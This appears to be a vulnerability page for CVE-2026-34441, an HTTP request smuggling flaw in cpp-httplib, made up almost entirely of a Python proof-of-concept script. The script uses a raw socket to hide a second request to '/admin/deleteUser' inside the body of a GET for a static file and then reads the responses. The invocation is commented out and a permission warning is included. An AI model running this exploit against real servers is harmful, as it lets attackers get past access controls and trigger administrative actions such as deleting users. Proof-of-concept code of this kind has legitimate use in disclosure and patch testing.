CVE-2026-34441 cpp-httplib HTTP请求走私漏洞

import socket import time def send_smuggling_attack(host, port, static_file_path): # Construct the malicious request # First request: GET request for a static file with a body containing the second request smuggled_request = ( f"GET {static_file_path} HTTP/1.1\r\n" f"Host: {host}\r\n" f"Content-Length: 65\r\n" f"Connection: keep-alive\r\n" f"\r\n" f"GET /admin/deleteUser HTTP/1.1\r\n" f"Host: {host}\r\n" f"\r\n" ) print(f"[*] Sending smuggling payload to {host}:{port}...") # Create a TCP socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) # Send the payload s.sendall(smuggled_request.encode()) # Receive response for the first request (the static file) response1 = s.recv(4096).decode() print("[*] Received first response (likely 200 OK for static file):") print(response1.split('\r\n\r\n')[0]) # Wait a moment to simulate the server processing the next request from the stream time.sleep(1) # The server might have already processed the second request, # or we might need to send another simple request to trigger the parsing of the buffered data, # depending on the exact server implementation behavior. # In this specific scenario (cpp-httplib), the server reads the next request from the socket immediately. # Try to receive the response of the smuggled request # Note: This might block if the server doesn't send a response immediately or requires another trigger try: s.settimeout(2) response2 = s.recv(4096).decode() print("[*] Received second response (Smuggled request response):") print(response2) except socket.timeout: print("[*] No immediate response received for the smuggled request (might have been processed internally).") s.close() if __name__ == "__main__": # Example usage # Replace with actual vulnerable server details TARGET_HOST = "127.0.0.1" TARGET_PORT = 8080 TARGET_FILE = "/index.html" # Warning: Only run this against a server you have permission to test. # send_smuggling_attack(TARGET_HOST, TARGET_PORT, TARGET_FILE) print("PoC script generated for CVE-2026-34441.")